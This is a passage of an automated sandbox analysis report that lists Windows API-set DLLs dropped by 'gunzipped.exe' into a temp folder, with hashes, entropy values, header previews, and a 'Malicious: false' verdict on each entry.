SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.0784064195922145
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4ZWEApkqnajPBZ:bWPhWqXYi00GftpBjBem4l1z6h2
MD5:	BE10CA2F2BB51AE45E28275DB72A3D3B
SHA1:	8C9FEDBF931AA50C1B783B498F8FFF36BADC085D
SHA-256:	59B038694459664EBD6183FA5210F83C55D4DA1D1693A52582290A9FD36AEBBD
SHA-512:	8BC4F0135CC79E131ACC6EF0B8709C26F9086E315B1A836DD272CC990439784F59B479C0680B25CAB4B5327B4A0CF085AB06C71E4C962DC51CC575B9108BC4DE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
